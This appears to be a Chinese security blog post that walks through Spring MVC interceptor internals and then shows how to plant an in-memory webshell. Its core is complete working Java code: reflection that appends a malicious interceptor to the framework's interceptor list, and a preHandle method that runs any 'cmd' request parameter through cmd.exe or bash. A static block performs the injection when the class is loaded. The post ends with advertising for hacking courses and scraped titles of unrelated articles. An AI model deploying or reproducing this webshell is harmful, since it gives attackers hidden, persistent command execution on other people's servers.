前置

什么是Interceptor技术?

在系统中,经常需要在处理用户请求之前和之后执行一些行为,例如检测用户的权限,或者将请求的信息记录到日志中,即平时所说的“权限检测”及“日志记录”。当然不仅仅这些,所以需要一种机制,拦截用户的请求,在请求的前后添加处理逻辑。

Spring MVC 提供了 Interceptor 拦截器机制,用于请求的预处理和后处理。

在实际应用中常见的作用为:

  • 日志记录:记录请求信息的日志,以便进行信息监控、信息统计、计算 PV(Page View)等;

  • 权限检查:如登录检测,进入处理器检测是否登录;

  • 性能监控:通过拦截器在进入处理器之前记录开始时间,在处理完后记录结束时间,从而得到该请求的处理时间。(反向代理,如 Apache 也可以自动记录)

  • 通用行为:读取 Cookie 得到用户信息并将用户对象放入请求,从而方便后续流程使用,还有如提取 Locale、Theme 信息等,只要是多个处理器都需要的即可使用拦截器实现。

简单示例

在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式:

  1. 通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义;

  2. 通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义。

我们这里采用实现HandlerInterceptor接口的方式创建一个拦截器类

package pres.test.spring.interceptor;import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;public class TestInterceptor implements HandlerInterceptor {@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {System.out.println("preHandle.......");return false;}@Overridepublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {System.out.println("postHandle.......");}@Overridepublic void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {System.out.println("afterCompletion.......");}
}

重写了三个方法,他们分别的作用如下:

  • preHandle( ):该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。

  • postHandle( ):该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。

  • afterCompletion( ):该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。

同样我们需要在Spring mvc配置拦截器

<!-- 配置拦截器 -->
<mvc:interceptors><mvc:interceptor><!-- 拦截的资源范围 --><mvc:mapping path="/**"/><!-- 进行处理的拦截器 --><bean class="pres.test.spring.interceptor.TestInterceptor" /></mvc:interceptor>
</mvc:interceptors>

可以在终端中发现preHandle方法的调用,为什么只调用了preHandle方法呢?从上面方法的功能中我们不难发现这个方法是在达到控制器类之前首先进行调用的,而在我们的拦截器代码中,我们可以发现我们返回的是false,所以将不会向下继续执行,这里完全可以做一个鉴权处理的操作。

流程分析

首先看一下一直到preHandle方法调用的调用栈

preHandle:13, TestInterceptor (pres.test.spring.interceptor)
applyPreHandle:148, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1062, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:196, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

前面都是Tomcat容器相关的,不用理会,我们直接将关注点放在Spring框架上面来。

关注到org.springframework.web.servlet.DispatcherServlet#doService方法中来。

从注释中我们可以知道主要是通过doDispatch方法进行资源的调度。

跟进

主要是通过对对应的handler进行处理,这些handler是寻在于HandlerMappings属性中。

通过调用getHandler来确定当前请求的对应的handler到底是哪一个。

在这个方法中,主要是通过遍历前面提到的handlerMappings属性来获取对应的handler,
且,该方法返回的是HandlerExecutionChain类对象。

我们继续跟进mapping.getHandler方法调用的流程。

首先通过调用getHandlerInternal方法获取了对应request请求的handler类,这里为上篇文章中创建的IndexController这个类。

之后调用了getHandlerExecutionChain方法获取了将要返回的HandlerExecutionChain类对象

跟进。

首先会判断之前获取的handler是否是HandlerExecutionChain实例,如果不是将会通过其构造方法封装一个HandlerExecutionChain对象进行返回。

之后将会遍历adaptedInterceptors属性值,这个属性就是Spring MVC配置的拦截器。

之后会判断这个拦截器是否是MappedInterceptor实例,如果食,将会调用其matches方法匹配拦截器设置的拦截资源路径是否包括该次的请求。

如果是匹配的,则会调用HandlerExecutionChain#addInterceptor方法将这个匹配成功的拦截器添加进入HandlerExecutionChain类的interceptorList属性中。

当然,如果你设置的是全局拦截器,自然其就不是MappedInterceptor实例,但是他会直接将拦截器添加入属性中去。

最后,将会返回该HandlerExecutionChain类对象,

回到doDispatch方法中来,

将会调用HandlerExecutionChain#applyPreHandle方法进行处理。

看注释我们也知道这是调用对应拦截器的preHandle方法。

主要是遍历之前添加进入拦截器的interceptorList属性,之后调用他的preHandle方法,从这里遍历也可以体现出同一个资源路径可能有着多个拦截器进行处理!

正文

注入流程

通过上面对Spring MVC中的流程分析,我们大概清楚了注入的方法,

从上面的分析,我们可以注意到,在方法对应的资源的时候,将会通过遍历interceptorList的方式来执行其元素的preHandler方法,那么,interceptorList中的内容是如何来的呢?

通过上面的分析不难发现,在每一次访问资源路径的同时,将会调用,AbstractHandlerMapping#getHandlerExecutionChain方法获取对应的HandlerExecutionChain

在这里,就遍历了adaptedInterceptors属性中的值,之后将其中每个元素,通过调用chain.addInterceptor方法,也就是前面提到的通过调用interceptorList#add写入拦截器,最后将会匹配interceptorList中的元素进行调用处理。

所以,我们如果能够动态的向adaptedInterceptors属性中添加进入我们恶意的拦截器类,就能够达到我们的目的,我们跟进一下这个属性。

这是AbstractHandlerMapping类中的一个私有属性,

那么如果获取到这个属性值呢?

Spring框架提供了一个用来暴露Request对象的工具,也就是RequestContextHolder类,使用该类,可以在一个线程中获取到Request,避免了Request从头到尾的情况。

看看这个类

能够暴露对应线程的RequestAttributes对象,其中存在一个currentRequestAttributes方法。

返回当前线程的所有属性,

我们需要得到一个ApplicationContext对象,

存在一个这样的属性,能够获取一个Application对象,

之后我们就可以通过上下文对象的getBean方法获取RequestMappingHandlerMapping类对象。

((ApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)).getBean(RequestMappingHandlerMapping.class)

为什么要获取这个对象?

我们的目的是获取AbstractHandlerMapping中的interceptors属性,之后通过反射赋值

但是因为这个类是一个抽象类,不能够直接获取,所以根据继承关系,我们选择了该类。

之后就可以通过反射获取对应属性值,

之后就是创建一个恶意的Interceptor对象,调用add方法将其写入。

实现

这个内存马的实现很简单(相比于其他的内存马来说),

根据前面注入流程的分析,

首先是利用RequestContextHolder类来获取对应的属性值。

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null;
try {field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {e.printStackTrace();
}
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = null;
try {adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
} catch (IllegalAccessException e) {e.printStackTrace();
}

在获取了属性值之后创建一个恶意的interceptor类,

public class EvilInterceptor implements HandlerInterceptor {@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String cmd = request.getParameter("cmd");if (cmd != null) {try {java.io.PrintWriter printWriter = response.getWriter();ProcessBuilder builder;String o = "";if (System.getProperty("os.name").toLowerCase().contains("win")) {builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});} else {builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});}java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();printWriter.println(o);printWriter.flush();printWriter.close();} catch (Exception e) {e.printStackTrace();}return false;}return true;}@Overridepublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);}@Overridepublic void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {HandlerInterceptor.super.afterCompletion(request, response, handler, ex);}
}

上面在preHandler中进行了命令执行,并将执行完成后的结果返回给界面,

之后调用属性的add方法进行添加,

EvilInterceptor evilInterceptor = new EvilInterceptor("aaa");
adaptedInterceptors.add(evilInterceptor);

同样,想要成功注入内存马,需要加载这个类,这里创建了一个Controller模拟通过反序列化注入。

package pres.test.spring.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@Controller
@RequestMapping("/addSpringInterceptor")
public class AddSpringInterceptor {@GetMappingpublic void index(HttpServletRequest request, HttpServletResponse response) {try {Class.forName("pres.test.spring.interceptor.EvilInterceptor");response.getWriter().println("add successfully!");} catch (Exception e) {e.printStackTrace();}}
}

实例

完整的恶意类

package pres.test.spring.interceptor;import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;public class EvilInterceptor implements HandlerInterceptor {static {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);Field field = null;try {field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");} catch (NoSuchFieldException e) {e.printStackTrace();}field.setAccessible(true);java.util.ArrayList<Object> adaptedInterceptors = null;try {adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);} catch (IllegalAccessException e) {e.printStackTrace();}EvilInterceptor evilInterceptor = new EvilInterceptor("aaa");adaptedInterceptors.add(evilInterceptor);}public EvilInterceptor(String aaa) {}@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String cmd = request.getParameter("cmd");if (cmd != null) {try {java.io.PrintWriter printWriter = response.getWriter();ProcessBuilder builder;if (System.getProperty("os.name").toLowerCase().contains("win")) {builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});} else {builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});}BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));String s = bufferedReader.readLine();printWriter.println(s);printWriter.flush();printWriter.close();} catch (Exception e) {e.printStackTrace();}return false;}return true;}@Overridepublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);}@Overridepublic void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {HandlerInterceptor.super.afterCompletion(request, response, handler, ex);}
}

这里主要是将具体执行的操作放在了static静态块中,使得,在加载这个类的时候将会执行静态代码块中的类内容,成功写入内存马。

访问控制器

之后测试,是否成功注入内存马

成功执行。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

再谈Spring内存马之Interceptor(内存马系列篇十)相关推荐

  1. 星星之火-23: 什么是硬切换与软切换?先分手再谈新恋爱还是骑驴找马,脚踩两只船

    这里涉及到一个主题:就是手机通话过程中的小区切换. 小区切换(Hand Over):在无线通信系统中,当移动台从一个小区(指基站或者基站的覆盖范围)移动到另一个小区时,为了保持移动用户的不中断通信需要 ...

  2. 再谈Spring Boot中的乱码和编码问题

    编码算不上一个大问题,即使你什么都不管,也有很大的可能你不会遇到任何问题,因为大部分框架都有默认的编码配置,有很多是UTF-8,那么遇到中文乱码的机会很低,所以很多人也忽视了. Spring系列产品大 ...

  3. 马库斯再谈AlphaGo Zero不是从零开始,AGI可能需要这十大先天机制

    安妮 编译整理 量子位 出品 | 公众号 QbitAI 纽约大学心理学和神经科学教授马库斯(Gary Marcus)坚信AlphaZero仍依赖于一些人类知识,也曾在AlphaZero解读现场这样di ...

  4. spring jpa mysql集群_Spring Boot系列之十四 JPA 连接mycat

    接 本文介绍使用spring-data-jpa连接mycat实现应用的读写分离. 系统环境spring-boot 1.4.3-RELEASE jdk1.8 进入正题application.yml配置文 ...

  5. 极智AI | 再谈昇腾CANN量化

    欢迎关注我的公众号 [极智视界],获取我的更多笔记分享 大家好,我是极智视界,本文介绍一下 再谈昇腾CANN量化. 在上一篇已经介绍了昇腾CANN量化的原理,对于原理或公式推导有兴趣的同学可以去看一看 ...

  6. JVM学习笔记之-垃圾回收相关概念 System.gc()的理解 内存溢出与内存泄漏 STW 垃圾回收的并行与并发 安全点与安全区域 再谈引用:强引用 软引用 弱引用 虚引用 终结器引用

    System.gc()的理解 在默认情况下,通过System.gc()或者Runtime. getRuntime ( ).gc ()的调用,会显式触发Full GC,同时对老年代和新生代进行回收,尝试 ...

  7. 深入浅出再谈Unity内存泄漏

    作者:Arthuryu,腾讯高级开发工程师 著作权归作者所有.商业转载请联系腾讯WeTest获得授权,非商业转载请注明出处. WeTest导读 本文通过对内存泄漏(what)及其危害性(why)的介绍 ...

  8. 再谈java内存模型

    不同的平台,内存模型是不一样的,但是jvm的内存模型规范是统一的.其实java的多线程并发问题最终都会反映在java的内存模型上,所谓线程安全无非是要控制多个线程对某个资源的有序访问或修改.总结jav ...

  9. 转载浅谈MFC内存泄露检测及内存越界访问保护机制

    2019独角兽企业重金招聘Python工程师标准>>> 本文所有代码均在VC2008下编译.调试.如果您使用的编译器不同,结果可能会有差别,但本文讲述的原理对于大部分编译器应该是相似 ...

最新文章

  1. 3D Point Cloud Library install
  2. SAP MM ME57界面看到的供应源跟Source List主数据不一致?
  3. ACdream 1083 有向无环图dp
  4. JDBC常见面试题集锦(一)
  5. case when then else多个条件_CentOS「linux」学习笔记24:if和case多个条件判断
  6. linux时间配置文件,linux系统下的时间配置综述
  7. vmware workstation 上创建的centos 7.2 ,新添加一块网卡。无法找到配置文件。
  8. mysql case when 解释_mysql 语法一 :case when详解
  9. sql查询字段的值不为空
  10. 企业以太坊联盟发布了愿景文件
  11. 晨哥真有料丨我们要为了对方改变自己吗?
  12. Flash必要的系统组件未能正常运行
  13. 最好用16进制工具wxHexEditor
  14. 一款万能企业邮箱,高效且实用,速看!
  15. beeline常用命令
  16. php fatal 和php error,从PHP Fatal error: Uncaught Error: Class '' not found in php:说起
  17. MSDN,我告诉你——一个很棒的工具站
  18. Java ----excel操作(poi)
  19. [附源码]SSM计算机毕业设计小微企业库存管理系统JAVA
  20. python爬虫音乐犯法么_Python爬虫案例:爬取网易云音乐

热门文章

  1. 输入开始时间和工作天数,计算结束时间,需考虑节假日周末和调休
  2. Nodejs Error: read ECONNRESET
  3. 《7 days to die》7日杀网站
  4. Cocos Creator JSZip压缩
  5. (c语言)Reversing Linked List (25分)
  6. 电池充电器欧盟CE认证申请标准
  7. ABAQUS学习记录1——用户子程序综述
  8. python画图matplotlib直方图条怎么变宽_python – matplotlib和numpy – 直方图条颜色和规范化...
  9. 中国蚁剑下载安装以及插件的安装教程
  10. hwclock源码分析